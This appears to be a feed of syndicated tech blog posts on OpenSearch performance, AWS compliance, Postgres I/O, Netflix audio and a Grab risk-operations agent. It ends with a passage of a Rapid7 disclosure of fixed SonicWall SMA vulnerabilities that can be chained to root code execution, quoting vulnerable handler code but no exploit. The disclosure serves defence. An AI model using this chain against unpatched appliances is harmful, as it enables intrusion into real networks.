Save big on OpenSearch: Unleashing Intel AVX-512 for binary vector performance

Post Syndicated from Akash Shankaran, Mulugeta Mammo, Noah Staveley, Assane Diop original https://aws.amazon.com/blogs/big-data/save-big-on-opensearch-unleashing-intel-avx-512-for-binary-vector-performance/

With OpenSearch version 2.19, Amazon OpenSearch Service now supports hardware-accelerated enhanced latency and throughput for binary vectors. When you choose the latest-generation, Intel Xeon instances for your data nodes, OpenSearch uses AVX-512 acceleration to bring up to 48% throughput improvement vs. previous-generation R5 instances, and 10% throughput improvement compared with OpenSearch 2.17 and below. There’s no need to change your settings. You will simply see improvements when you upgrade to OpenSearch 2.19 and use c7i, m7i, and R7i instances.

In this post, we discuss the improvements these advanced processors provide to your OpenSearch workloads, and how it can help you lower your total cost of ownership (TCO).

Difference between full precision and binary vectors

When you use OpenSearch Service for semantic search, you create vector embeddings that you store in OpenSearch. OpenSearch’s k-nearest neighbors (k-NN) plugin provides engines—Facebook AI Similarity Search (FAISS), Non-Metric Space Library (NMSLib), and Apache Lucene—and algorithms—Hierarchical Navigable Small World (HNSW) and Inverted File (IVF)—that store embeddings and compute nearest neighbor matches.

Vector embeddings are high-dimension arrays of 32-bit floating-point numbers (FP32). Large language models (LLMs), foundation models (FMs), and other machine learning (ML) models generate vector embeddings from their inputs. A typical, 384-dimension embedding takes 384 * 4 = 1,536 B. As the number of vectors in the solution grows into the millions (or billions), it is costly to store and work with that much data.

OpenSearch Service supports binary vectors. These vectors use 1 bit to store each dimension. A 384-dimension, binary embedding takes 384 / 8 b = 48 B to store. Of course, in reducing the number of bits, you also lose information. Binary vectors don’t provide recall that is as accurate as full-precision vectors. In trade, binary vectors are substantially less costly and provide substantially better latency.

Hardware acceleration: AVX-512 and popcount instructions

Binary vectors rely on Hamming distance to measure similarity. The Hamming distance between 2-bit strings is the number of positions where corresponding bits differ. The Hamming distance between two binary vectors is the sum of the Hamming distances for the bytes in those vectors. Hamming distance relies on a technique called popcount (population count), which is briefly described in the next section.

For example, for finding the Hamming distance between 5 and 3:

  • 5 = 101
  • 3 = 011
  • Differences at two positions (bitwise XOR): 101 ⊕ 011 = 110 (2 ones)

Therefore, Hamming distance (5, 3) = 2.

Popcount is an operation that counts the number of 1 bits in a binary input. The Hamming distance between two binary inputs is directly equivalent to calculating the popcount of their bitwise XOR result. The AVX-512 accelerator has a native popcount operation, which makes popcount and Hamming distance calculations fast.

OpenSearch 2.19 integrates advanced Intel AVX-512 instructions in the FAISS engine. When you use binary vectors with OpenSearch 2.19 engine in OpenSearch Service, OpenSearch can maximize performance on the latest Intel Xeon processors. The OpenSearch k-NN plugin with FAISS uses a specialized build mode, avx512_spr, that enhances the Hamming distance computation with the __mm512_popcnt_epi64 vector instruction. __mm512_popcnt_epi64 counts the number of logical 1 bits in eight 64-bit integers at once. This reduces the instruction pathlength—the number of instructions the CPU executes— by eight times. The benchmarks in the next sections demonstrate the improvements seen on OpenSearch binary vectors due to this optimization.

There is no special configuration required to take advantage of the optimization, because it’s enabled by default. The requirements to using the optimization are:

  • OpenSearch version 2.19 and above
  • Intel 4th Generation Xeon or newer instances—C7i, M7i, or R7i— for data nodes

Where do binary vector workloads spend the bulk of time?

To put our system through its paces, we created a test dataset of 10 million binary vectors. We chose the Hamming space for measuring distances between vectors because it’s particularly well-suited for binary data. This substantial dataset helped us generate enough stress on the system to pinpoint exactly where performance bottlenecks might occur. If you’re interested in the details, you can find the complete cluster configuration and index settings for this analysis in Appendix 2 at the end of this post.

The following profile analysis of binary vector-based workloads using a flame graph shows that the bulk of time is spent in the FAISS library computing Hamming distances. We observe up to 66% time spent on BinaryIndices in the FAISS library.

Benchmarks and Results

In the next sections, we look at the results of optimizing this logic and the benefits to OpenSearch workloads along two aspects:

  1. Price-performance; with reduced CPU consumption, you might be able to reduce the instances in your domain
  2. Performance gains due to the Intel popcount instruction

Price-performance and TCO gains for OpenSearch users

If you want to take advantage of the performance gains, we recommend the R7i instances, with a high memory:core ratio, for your data nodes. The following table shows the results of benchmarking with a 10-million-vector and 100-million-vector dataset and the resulting improvements on an R7i instance compared to an R5 instance. R5 instances support avx512 instructions, but not the advanced instructions present in avx512_spr. That is only available with R7i and newer Intel instances.

On average, we observed 20% gains on indexing throughput and up to 48% gains on search throughput comparing R5 and R7i instances. R7i instances are about 13% more costly than R5 instances. The price-performance favors the R7is. The 100-million-vector dataset showed slightly better results with search throughput improving more than 40%. In Appendix 1, we document the test configuration, and we present the tabular results in Appendix 3.

The following figures visualize the results with the 10-million-vector dataset.

The following figures visualize the results with the 100-million-vector dataset.

Performance gains due to popcount instruction in AVX-512

This section is for advanced users interested in knowing the extent of improvements the new avx512_spr provides and more details on where the performance gains are coming from. The OpenSearch configuration used in this experiment is documented in Appendix 2.

We ran an OpenSearch benchmark on R7i instances with and without the Hamming distance optimization. You can disable avx512_spr by setting knn.faiss.avx512_spr.disabled in your opensearch.yaml file, as described in SIMD optimization. The data shows that the feature provides a 10% throughput improvement on indexing and search and a 10% reduction in latency if the client load is constant.

The gain is due to the use of __mm512_popcnt_epi64 hardware instruction present on Intel processors, which results in a pathlength reduction for the workloads. The hotspot identified in the earlier section is optimized with code using the hardware instruction. This results in fewer CPU cycles spent to run the same workload and translates to a 10% speed-up for binary vector indexing and latency reduction for search workloads on OpenSearch.

The following figures visualize the benchmarking results.

 

Conclusion

Improving storage, memory, and compute is key to optimizing vector search. Binary vectors already offer storage and memory benefits over FP32/FP16. This post detailed how our improvements to Hamming distance calculations significantly improve compute performance by up to 48% when comparing R5 and R7i instances on AWS. Whereas binary vectors fall short on matching recall for FP32 counterparts, techniques such as oversampling and rescoring help with improving recall rates. If you’re handling massive datasets, compute costs become a major expense. By migrating to Intel’s R7i and newer offerings on AWS, we’ve demonstrated substantial reductions in infrastructure costs, making these processors a highly efficient solution for users.

Hamming distance with newer AVX-512 instructions support is available on OpenSearch starting with 2.19 and later. We encourage you to give it a try on the latest Intel instances in your preferred cloud environment.

The new instructions also provide additional opportunities to use hardware acceleration in other areas of vector search, such as quantization techniques of FP16 and BF16. We are also interested in exploring the use of other hardware accelerators to vector search, such as AMX and AVX-10.


About the Authors

Akash Shankaran is a Software Architect and Tech Lead in the Xeon software team at Intel. He works on pathfinding opportunities and enabling optimizations on OpenSearch.

Mulugeta Mammo is a Senior Software Engineer and currently leads the OpenSearch Optimization team at Intel.

Noah Staveley is a Cloud Development Engineer currently working in the OpenSearch Optimization team at Intel.

Assane Diop is a Cloud Development Engineer, and currently works in the OpenSearch Optimization team at Intel.

Naveen Tatikonda is a software engineer at AWS, working on the OpenSearch Project and Amazon OpenSearch Service. His interests include distributed systems and vector search.

Vamshi Vijay Nakkirtha is a software engineering manager working on the OpenSearch Project and Amazon OpenSearch Service. His primary interests include distributed systems.

Dylan Tong is a Senior Product Manager at Amazon Web Services. He leads the product initiatives for AI and machine learning (ML) on OpenSearch including OpenSearch’s vector database capabilities. Dylan has decades of experience working directly with customers and creating products and solutions in the database, analytics and AI/ML domain. Dylan holds a BSc and MEng degree in Computer Science from Cornell University.


Notices and disclaimers

Intel and the OpenSearch team collaborated on adding the Hamming distance feature. Intel contributed by designing and implementing the feature, and Amazon contributed by updating the toolchain, including compilers, release management, and documentation. Both teams collected data points showcased in the post.

Performance varies by use, configuration, and other factors. Learn more on the Performance Index website.

Your costs and results may vary.

Intel technologies might require enabled hardware, software, or service activation.


Appendix 1

The following table summarizes the test configuration for results in Appendix 3.

avx512 avx512_spr
vector dimension 768
ef_construction 100
ef_search 100
primary shards 8
replica 1
data nodes 2
data node instance type R5.4xl R7i.4xl
vCPU 16
Cluster manager nodes 3
Cluster manager node instance type c5.xl
data type binary
space type Hamming

 Appendix 2

The following table summarizes the OpenSearch configuration used for this benchmarking.

avx512 avx512_spr
OpenSearch version 2.19
engine faiss
dataset random-768-10M
vector dimension 768
ef_construction 256
ef_search 256
primary shards 4
replica 1
data nodes 2
cluster manager nodes 1
data node instance type R7i.2xl
client instance m6id.16xlarge
data type binary
space type Hamming
Indexing clients 20
query clients 20
force merge segments 1

Appendix 3

This appendix contains the results of the 10-million-vector and 100-million-vector dataset runs.

The following table summarizes the query results in queries per second (QPS).

Query Throughput Without Forcemerge Query Throughput with Forcemerge to 1 Segment
Dataset Dimension avx512 / avx512_spr Query Clients Mean Throughput Median Throughput Mean Throughput Median Throughput
random-768-10M 768 avx512 10 397.00 398.00 1321.00 1319.00
random-768-10M 768 avx512_spr 10 516.00 525.00 1542.00 1544.00
%gain – – – 29.97 31.91 16.73 17.06
random-768-10M 768 avx512 20 424.00 426.00 1849.00 1853.00
random-768-10M 768 avx512_spr 20 597.00 600.00 2127.00 2127.00
%gain – – – 40.81 40.85 15.04 14.79
random-768-100M 768 avx512 10 219 220 668 668
random-768-100M 768 avx512_spr 10 324 324 879 887
%gain – – – 47.95 47.27  31.59 32.78
random-768-100M 768 avx512 20 234 235 756 757
random-768-100M 768 avx512_spr 20 338 339 1054 1062
%gain – – – 44.44 44.26 39.42 40.29

The following table summarizes the indexing results.

Indexing Throughput (documents/second)
Dataset Dimension avx512 / avx512_spr Indexing Clients Mean Throughput Median Throughput Forcemerge (minutes)
random-768-10M 768 avx512 20 58729 57135 61
random-768-10M 768 avx512_spr 20 63595 65240 57
%gain – – 8.29 14.19 7.02
random-768-100M 768 avx512 16 28006 25381 682
random-768-100M 768 avx512_spr 16 33477 30581 634
%gain – – 19.54 20.49 7.04

AWS renews its AAA Pinakes rating for the Spanish financial sector

Post Syndicated from Daniel Fuertes original https://aws.amazon.com/blogs/security/aws-renews-its-aaa-pinakes-rating-for-the-spanish-financial-sector/

Amazon Web Services (AWS) has successfully revalidated its prestigious AAA rating under the Pinakes qualification system, with certification coverage extending to 174 services across 31 global AWS Regions. This achievement marks a significant milestone in the commitment of AWS to serving the Spanish financial sector with the highest security standards and assurance.

The Pinakes framework, developed by the Centro de Cooperación Interbancaria (CCI), stands as a comprehensive security rating system designed to evaluate and monitor service providers working with Spanish financial institutions. This sophisticated framework encompasses 1,315 requirements, strategically organized into four fundamental categories: confidentiality, integrity, availability of information, and general requirements.

The framework’s evaluation spans 14 domains, encompassing:

  • Information security management program
  • Third-party management
  • Normative compliance
  • Network controls
  • Access controls
  • Incident management
  • Encryption
  • Secure development
  • Continuous Monitoring
  • Antimalware protection
  • Resilience
  • Systems operation
  • Personnel security
  • Facilities security

Pinakes implements a sophisticated rating scale ranging from A+ to D, where A+ represents the highest level of cybersecurity management implementation, and D indicates compliance with minimum security requirements. Each requirement undergoes thorough evaluation by an independent third-party auditor, providing objective assessment of security measures.

The renewal of AWS A ratings across confidentiality, integrity, and availability domains, culminating in an overall AAA security rating, demonstrates our ongoing investment in meeting industry benchmarks. This achievement validates our robust security controls and underscores our dedication to protecting the interests of our Spanish financial sector customers.

This requalification reaffirms the position AWS holds as a trusted service provider and highlights our continuous commitment to maintaining and enhancing our security posture in the Spanish financial sector.

The full control matrix will be published on AWS Artifact and available on request. Pinakes participants who are AWS customers can contact their AWS account manager to request access to it.

As always, we value your feedback and questions. Reach out to the AWS Compliance team through the Contact Us page. To learn more about our other compliance and security programs, see AWS Compliance Programs.

If you have feedback about this post, submit it in the Comments section below.

Daniel Fuertes

Daniel Fuertes

Daniel is a Security Audit Program Manager at AWS based in Madrid, Spain. Daniel leads multiple security audits, attestations, and certification programs in Spain and other EMEA countries. He has twelve years of experience in security assurance and compliance, including previous experience as an auditor for the PCI DSS security framework. He also holds the CISSP, PCIP, and ISO 27001 Lead Auditor certifications.

Security updates for Thursday

Post Syndicated from jake original https://lwn.net/Articles/1020545/

Security updates have been issued by Debian (chromium, libapache2-mod-auth-openidc, mariadb-10.5, and openssh), Red Hat (osbuild-composer), Slackware (mariadb), SUSE (apache2-mod_auth_openidc, glib2, ImageMagick, libsoup, libsoup2, libva, openvpn, sqlite3, and weblate), and Ubuntu (libsoup3, php-horde-css-parser, and python-django).

Pedagogy Quick Reads: turning abstract ideas into classroom practice

Post Syndicated from James Robinson original https://www.raspberrypi.org/blog/pedagogy-quick-reads-turning-abstract-ideas-into-classroom-practice/

What does outstanding computing education look like in the age of AI? We’ve just released a new series of Pedagogy Quick Reads exploring this vital question. Focusing on three aspects of AI in computing education, these short guides offer practical insights and new strategies for your classroom practice.

In a computing classroom, a smiling girl raises her hand.

Each Pedagogy Quick Read is designed to help educators explore, understand, and apply one area of research evidence.

You get:

  • An introduction to the topic or idea, putting it into context
  • A summary of the key concepts and takeaways for educators
  • Sections elaborating on each key concept and relevant research
  • A diagram presenting the same ideas in visual form
  • Links to referenced resources for further reading

Introducing our AI Pedagogy Quick Reads

Computational Thinking 2.0

This Quick Read explores how the concept of computational thinking is evolving, particularly in the context of AI. It offers guidance on how to teach computational thinking skills that are relevant to and enhanced by AI technologies.

“Without CT2.0, today’s learners will remain passive consumers rather than informed participants in a world increasingly shaped by data-driven AI technologies.”

Anthropomorphism

As AI becomes widely used, it’s important to consider how students understand and view these technologies. This Quick Read discusses anthropomorphism (attributing human-like qualities to AI) and provides strategies for teaching about AI in a way that avoids common misconceptions.

“If young people see this technology as innately human-like, we run the risk of impacting their…sense of agency…safety…social connection…curiosity.”

Feedback Literacy

Effective feedback is important for student learning, especially in a rapidly changing field like AI. This Quick Read examines how to develop “feedback literacy” in both educators and students, enabling them to give, receive, and use feedback more effectively.

“How do we ensure that all students get the most out of AI system-produced feedback? Feedback literacy is a theory-driven framework that can help…answer this question.”

Browse our library of pedagogy resources

The new AI-themed reads join our bank of other Pedagogy Quick Reads, which cover a wide range of topics related to computing education. You can find these resources and more on our pedagogy page, all organised around our 12 pedagogy principles for computing education.

a teenage boy does coding during a computer science lesson.

Other resources 

As well as our Pedagogy Quick Reads, we also offer lots of other resources to support computing educators:

  • The Hello World Big Book of Computing Pedagogy is an in-depth guide to research-backed computing education pedagogy, covering a wide range of topics and offering practical advice for teachers.
  • The Hello World magazine and podcast feature insights from educators in computing education, exploring current research, best classroom practices, and innovative teaching strategies.
  • Our AI literacy programme, Experience AI, provides teachers with cutting-edge resources on AI and machine learning, based on proven pedagogical principles to support effective learning and teaching.

The post Pedagogy Quick Reads: turning abstract ideas into classroom practice appeared first on Raspberry Pi Foundation.

Fitti: Waiting for Postgres 18: Accelerating Disk Reads with Asynchronous I/O

Post Syndicated from corbet original https://lwn.net/Articles/1020452/

Lukas Fitti writes in detail
on the pganalyze blog about the asynchronous I/O capability coming with the
PostgreSQL 18 release.

Asynchronous I/O delivers the most noticeable gains in cloud
environments where storage is network-attached, such as Amazon EBS
volumes. In these setups, individual disk reads often take multiple
milliseconds, introducing substantial latency compared to local
SSDs.

With traditional synchronous I/O, each of these reads blocks query
execution until the data arrives, leading to idle CPU time and
degraded throughput. By contrast, asynchronous I/O allows Postgres
to issue multiple read requests in parallel and continue processing
while waiting for results. This reduces query latency and enables
much more efficient use of available I/O bandwidth and CPU cycles.

Measuring Dialogue Intelligibility for Netflix Content

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/measuring-dialogue-intelligibility-for-netflix-content-58c13d2a6f6e

Enhancing Member Experience Through Strategic Collaboration

Ozzie Sutherland, Iroro Orife, Chih-Wei Wu, Bhanu Srikanth

At Netflix, delivering the best possible experience for our members is at the heart of everything we do, and we know we can’t do it alone. That’s why we work closely with a diverse ecosystem of technology partners, combining their deep expertise with our creative and operational insights. Together, we explore new ideas, develop practical tools, and push technical boundaries in service of storytelling. This collaboration not only empowers the talented creatives working on our shows with better tools to bring their vision to life, but also helps us innovate in service of our members. By building these partnerships on trust, transparency, and shared purpose, we’re able to move faster and more meaningfully, always with the goal of making our stories more immersive, accessible, and enjoyable for audiences everywhere. One area where this collaboration is making a meaningful impact is in improving dialogue intelligibility, from set to screen. We call this the Dialogue Integrity Pipeline.

Dialogue Integrity Pipeline

We’ve all been there, settling in for a night of entertainment, only to find ourselves straining to catch what was just said on screen. You’re wrapped up in the story, totally invested, when suddenly a key line of dialogue vanishes into thin air. “Wait, what did they say? I can’t understand the dialogue! What just happened?”

You may pick up the remote and rewind, turn up the volume, or try to stay with it and hope this doesn’t happen again. Creating sophisticated, modern series and films requires an incredible artistic & technical effort. At Netflix, we strive to ensure those great stories are easy for the audience to enjoy. Dialogue intelligibility can break down at multiple points in what we call the Dialogue Integrity Pipeline, the journey from on-set capture to final playback at home. Many facets of the process can contribute to dialogue that’s difficult to understand:

  • Naturalistic acting styles, diverse speech patterns, and accents
  • Noisy locations, microphone placement problems on set
  • Cinematic (high dynamic range) mixing styles, excessive dialogue processing, substandard equipment
  • Audio compromises through the distribution pipeline
  • TVs with inadequate speakers, noisy home environments

Addressing these issues is critical to maintaining the standard of excellence our content deserves.

Measurement at Scale

Netflix utilizes industry-standard loudness meters to measure content and its adherence to our core loudness specifications. This tool also provides feedback on audio dynamic range (loud to soft) which impacts dialogue intelligibility. The Audio Algorithms team at Netflix wanted to take these measurements further and develop a holistic understanding of dialogue intelligibility throughout the runtime of a given title.

The team developed a Speech Intelligibility measurement system based on the Short-time Objective Intelligibility (STOI) metric [Taal et al. (IEEE Transactions on Audio, Speech, and Language Processing)]. Firstly, a speech activity detector analyses the dialogue stem to render speech utterances, which are then compared to non-speech sounds in the mix, typically Music and Effects. Then the system calculates the Signal-to-Noise ratio, in each speech frequency band, the results of which are summarized succinctly, per-utterance on the range [0, 1.0], to quantify the degree to which competing Music and Effects can distract the listener.

This chart shows how eSTOI (extended Short-Time Objective Intelligibility) method measures dialogue (fg [foreground] stem in the graphic) against non-speech (bg [background] stem in the graphic) to judge intelligibility based on competing non-speech sound.

Optimizing Dialogue Prior to Delivery

Understanding dialogue intelligibility across Netflix titles is invaluable, but our mission goes beyond analysis — we strive to empower creators with the tools to craft mixes that resonate seamlessly with audiences at home.

Seeing the lack of dedicated Dialogue Intelligibility Meter plugins for Digital Audio Workstations, we teamed up with industry leaders, Fraunhofer Institute for Digital Media Technology IDMT (Fraunhofer IDMT) and Nugen Audio to pioneer a solution that enhances creative control and ensures crystal-clear dialogue from mix to final delivery.

We collaborated with Fraunhofer IDMT to adapt their machine-learning-based speech intelligibility solution for cross-platform plugin standards and brought in Nugen Audio to develop DAW-compatible plugins.

Fraunhofer IDMT

The Fraunhofer Department of Hearing, Speech, and Audio Technology HSA has done significant research and development on media processing tools that measure speech intelligibility. In 2020, the machine learning-based method was integrated into Steinberg’s Nuendo Digital Audio Workstation. We approached the Fraunhofer engineering team with a collaboration proposal to make their technology accessible to other audio workstations through the cross-platform VST (Virtual Studio Technology) and AAX (Avid Audio Extension) plugin standards. The scientists were keen on the project and provided their dialogue intelligibility library.

The Fraunhofer IDMT Dialogue Intelligibility Meter integrated into the Steinberg Nuendo Digital Audio Workstation.

Nugen Audio

Nugen Audio created the VisLM plugin to provide sound teams with an efficient and accurate way to measure mixes for conformance to traditional broadcast & streaming specifications — Full Mix Loudness, Dialogue Loudness, and True Peak. Since then, VisLM has become a widely used tool throughout the global post-production industry. Nugen Audio partnered with Fraunhofer, integrating the Fraunhofer IDMT Dialogue Intelligibility libraries into a new industry-first tool — Nugen DialogCheck. This tool gives re-recording mixers real-time insights, helping them adjust dialogue clarity at the most crucial points in the mixing process, ensuring every word is clear and understood.

Clearer Dialogue Through Collaboration

Crafting crystal-clear dialogue isn’t just a technical challenge — it’s an art that requires continuous innovation and strong industry collaboration. To empower creators, Netflix and its partners are embedding advanced intelligibility measurement tools directly into DAWs, giving sound teams the ability to:

  • Detect and resolve dialogue clarity issues early in the mix.
  • Fine-tune speech intelligibility without compromising artistic intent.
  • Deliver immersive, accessible storytelling to every viewer, in any listening environment.

At Netflix, we’re committed to pushing the boundaries of audio excellence. From pioneering the eSTOI (extended short-term objective intelligibility) method to collaborating with Fraunhofer and Nugen Audio on cutting-edge tools like the DialogCheck Plugin, we’re setting a new standard for dialogue clarity — ensuring every word is heard exactly as creators intended. But innovation doesn’t happen in isolation. By working together with our partners, we can continue to push the limits of what’s possible, fueling creativity and driving the future of storytelling.

Finally, we’d like to extend a heartfelt thanks to Scott Kramer for his contributions to this initiative.


Measuring Dialogue Intelligibility for Netflix Content was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Streamlining RiskOps with the SOP agent framework

Post Syndicated from Grab Tech original https://engineering.grab.com/streamlining-riskops-with-sop

Introduction

In the blog our previous introduction to the SOP-driven LLM Agent Framework, we the potential of LLM agent framework to revolutionise business operations was discussed. Now, we’re excited to explore a compelling use case: automating Account Takeover (ATO) investigations in Risk Operations (RiskOps). This framework has significantly reduced manual effort, improved efficiency, and minimised errors in the investigation process, setting a new standard for secure and streamlined operations.

The challenge in RiskOps

Traditionally, ATO investigations have been fraught with challenges due to their complexity and the manual effort required. Analysts must sift through vast amounts of data, cross-referencing multiple systems and executing numerous SQL queries to make informed decisions. This process is not only labor-intensive but also susceptible to human error, which can lead to inconsistencies and potential security breaches.

The manual approach often involves:

  • Time-consuming data analysis: Analysts spend significant time gathering and interpreting data from disparate sources, leading to delays and inefficiencies.
  • Decision fatigue: Continuous decision-making in a high-pressure environment can result in oversight or errors, especially when relying on predefined thresholds without adaptive insights.
  • Resource constraints: The need for specialised skills to handle SQL queries and interpret complex patterns limits the scalability of the process.

These challenges highlight the need for a more efficient, reliable, and scalable solution.

Leveraging the SOP agent framework

Our framework transforms the ATO investigation process by mirroring manual workflows while leveraging advanced automation.

At its core, a Standard Operating Procedure (SOP) guides the investigation process. This comprehensive SOP, is designed with an intuitive tree structure. It outlines the sequence of investigative actions, required data for each step, necessary SQL queries and external function calls, as well as decision criteria guiding the investigation. Figure 1 shows the example of ATO investigation SOP.

Figure 1: Example of fictional ATO investigation SOP

The SOP is written in natural language in an indentation format. Users can easily define SOPs using an intuitive editor. This format also clearly denotes the specific functions or queries associated with each step in the SOP. The @function_name notation (eg. @IP_web_login_history) makes it easy to identify where external calls are made within the process, highlighting the integration points between the SOP-driven LLM agent framework and the existing systems or databases.

Dynamic execution

The dynamic execution engine consists of the SOP planner and the Worker Agent, working in tandem to drive efficient operations. The SOP planner serves as the navigator, guiding the investigation’s path by generating the necessary SOP steps and determining the appropriate APIs to call. It uses a structured execution approach inspired by Depth-First Search (DFS) to ensure thorough and systematic processing. Meanwhile, the Worker Agent acts as the executor, interpreting the JSON-formatted SOPs, invoking required APIs or SQL queries, and storing results. This continuous interplay between the SOP planner and the Worker Agent establishes an efficient feedback loop, propelling the investigation forward with precision and reliability.

The automated investigation process begins at the root of the SOP tree and methodically progresses through each defined step. At each juncture, the system executes specified SQL queries as needed, retrieving and analysing relevant data. Based on this analysis, the framework evaluates step specific criteria and makes informed decisions that guide subsequent steps. This iterative process allows the investigation to delve as deeply into the data as the SOP dictates, ensuring both thoroughness and efficiency.

As the investigation concludes, having completed all of the steps, the framework enters its final phase. It compiles a comprehensive summary of the entire process, synthesising all gathered information to generate a final decision. The culmination of this process is a detailed report that encapsulates the investigation’s findings and provides clear, actionable conclusions.

This automated approach combines the best of human expertise with computational efficiency. It maintains the depth and detail of a human-conducted investigation while leveraging the speed and consistency of automation. The result is a powerful tool that can handle complex investigations with precision and reliability, making it an invaluable asset in various fields requiring thorough and systematic analysis.

Figure 2: Example of dynamic execution

Efficiency, impact and future potential

The SOP-driven LLM agent framework has demonstrated remarkable efficiency and impact in automating RiskOps processes. By automating data handling and leveraging AI to adapt to emerging patterns, the framework has significantly reduced manual tasks and streamlined operations. Figure 3 shows an example of an automated RiskOps process integrated with Slack.

Figure 3: Slack integration

Key achievements of automating RiskOps process:

  • Reduction in handling time from 22 to 3 minutes per ticket.
  • Automation of 87% of ATO cases since launch.
  • Achievement of a zero-error rate, enhancing both efficiency and security.

These results not only demonstrate the framework’s effectiveness in streamlining RiskOps but also provide stakeholders with increased confidence in the security and reliability of their operations.

The success of the framework in automating ATO investigations opens the door to a wider range of applications across various sectors. By adapting the framework to different processes, organisations can achieve similar improvements in efficiency and reliability, leading to a more responsive and agile business environment.

Conclusion

The SOP-driven LLM agent framework is more than an automation tool. It’s a catalyst for transforming enterprise operations. By applying it to ATO investigations, we’ve demonstrated its potential to enhance efficiency, reliability, and security. As we continue to explore its capabilities, we anticipate unlocking new levels of productivity and innovation across industries.

We look forward to sharing more as we explore how this groundbreaking framework can be applied to various challenges, helping organisations navigate the complexities of modern operations with confidence and precision.

Join us

Grab is a leading superapp in Southeast Asia, operating across the deliveries, mobility and digital financial services sectors. Serving over 800 cities in eight Southeast Asian countries, Grab enables millions of people everyday to order food or groceries, send packages, hail a ride or taxi, pay for online purchases or access services such as lending and insurance, all through a single app. Grab was founded in 2012 with the mission to drive Southeast Asia forward by creating economic empowerment for everyone. Grab strives to serve a triple bottom line – we aim to simultaneously deliver financial performance for our shareholders and have a positive social impact, which includes economic empowerment for millions of people in the region, while mitigating our environmental footprint.

Powered by technology and driven by heart, our mission is to drive Southeast Asia forward by creating economic empowerment for everyone. If this mission speaks to you, join our team today!

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2025/05/07/multiple-vulnerabilities-in-sonicwall-sma-100-series-2025/

Overview

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

In April of 2025, Rapid7 discovered and disclosed three new vulnerabilities affecting SonicWall Secure Mobile Access (“SMA”) 100 series appliances (SMA 200, 210, 400, 410, 500v). These vulnerabilities are tracked as CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821. An attacker with access to an SMA SSLVPN user account can chain these vulnerabilities to make a sensitive system directory writable, elevate their privileges to SMA administrator, and write an executable file to a system directory. This chain results in root-level remote code execution. These vulnerabilities have been fixed in version 10.2.1.15-81sv.

Rapid7 would like to thank the SonicWall security team for quickly responding to our disclosure and going above and beyond over a holiday weekend to get a patch out.

Vulnerability table

CVE Description Affected Service CVSS
CVE-2025-32819 An authenticated attacker with user privileges can delete any file on the SMA appliance as root to perform privilege escalation to the administrator account. Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild. HTTP (Port 80), HTTPS (Port 443) 8.8 (High)
CVE-2025-32820 An authenticated attacker with user privileges can inject a path traversal sequence to make any directory on the SMA appliance writable by all users, including the nobody user. Any existing file on the system can also be overwritten with junk contents as root. HTTP (Port 80), HTTPS (Port 443) 8.3 (High)
CVE-2025-32821 An authenticated attacker with administrator privileges can inject shell command arguments to upload a fully controlled file anywhere that the nobody user can write to. HTTP (Port 80), HTTPS (Port 443) 6.7 (Medium)

Credit

These vulnerabilities were discovered by Ryan Emmons, Staff Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s coordinated vulnerability disclosure policy.

Remediation

To remediate CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821, SonicWall SMA administrators should update to the latest version, 10.2.1.15-81sv. For additional information, please see SonicWall’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821 with an unauthenticated vulnerability check expected to be available in today’s (May 7) content release.

Analysis

The appliance tested was ”SMA 500v for ESXi” running version 10.2.1.14-75sv, the latest available at the time of research.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32819

An attacker with access to a low-privilege SMA user account can delete any file as root. This vulnerability appears to be a patch bypass for a previously reported arbitrary file delete vulnerability. That original vulnerability was disclosed by NCC Group in 2021, and a patch was previously released in the 10.2.0.9-41sv and 10.2.1.3-27sv patch cycle. Rapid7 is not aware of any specific CVE assigned to this original vulnerability; the NCC Group blog post states that a CVE was not shared with them, and we didn’t see a clear 1:1 match on the SonicWall PSIRT page.

Based on our testing, the unauthenticated arbitrary file delete vulnerability disclosed by NCC Group was patched by adding an authentication check. However, that authentication check is satisfied with a valid low-privilege session cookie, so exploitation is still viable. An attacker can exploit this vulnerability with low privileges to elevate to SMA administrator. This can be chained with CVE-2025-32820 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Note: Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild.

In /usr/src/EasyAccess/www/conf/httpd.conf, we observe that the /fileshare/sonicfiles web path is mapped to the sonicfiles.py Flask application.

WSGIScriptAliasMatch ^/fileshare/sonicfiles /usr/src/EasyAccess/www/python/sonicfiles/sonicfiles.py
WSGIScriptAliasMatch ^/report    /usr/src/EasyAccess/www/python/sonicfiles/report.py
WSGIScriptAliasMatch ^/threat/__api__/v1 /usr/src/EasyAccess/www/python/authentication_api/threat_api.py

Within sonicfiles.py, we find the function main_handler, which is a main function that enforces authentication checks and dispatches various “RacNumber” SMB operations. At [A], we see an authorization check being performed before the primary API functionality is reachable.

@application.route('/sonicfiles', methods=['GET', 'POST']) 
@application.route('/', methods=['GET', 'POST'])
def main_handler():

    #Get the required config if its not set
    #application.get_config()
    prog = 'fileexplorer'

    '''Alternate method for CSRF

    referrer = request.referrer
    parsed_referrer = urlparse(request.referrer)
    if((referrer is None) or (parsed_referrer.hostname != request.host)):
        print("Referrer something is wrong")
        return HttpErrorCode["NOT_PERMITTED_AUTH"]
    '''

    #set the log level to Debug when don't get the setting from SMA settings.
    application.set_log_level(logging.DEBUG)

    authResult = application.authorizationCheck() # [A]
    if authResult:
        response = make_response(str(HttpErrorCode["NOT_PERMITTED_AUTH"][0])) 
        response.headers['content-type'] = 'text/plain'
        response.headers['Cache-Control'] = 'no-cache'
        logger.info("::SONICFILES:: Authorization check failed {}".format(authResult))
        return response, HttpErrorCode["NOT_PERMITTED_AUTH"][1]

    racNum = request.args.get('RacNumber', RacNumber.RAC_INVALID, int)
    if racNum is RacNumber.RAC_INVALID:
        return 'Invalid invocation', 500 

    smbshare = FileShare(application)
[..SNIP..]

Let’s investigate what application.authorizationCheck is. It’s defined in pythonApi.py:

 def authorizationCheck(self):
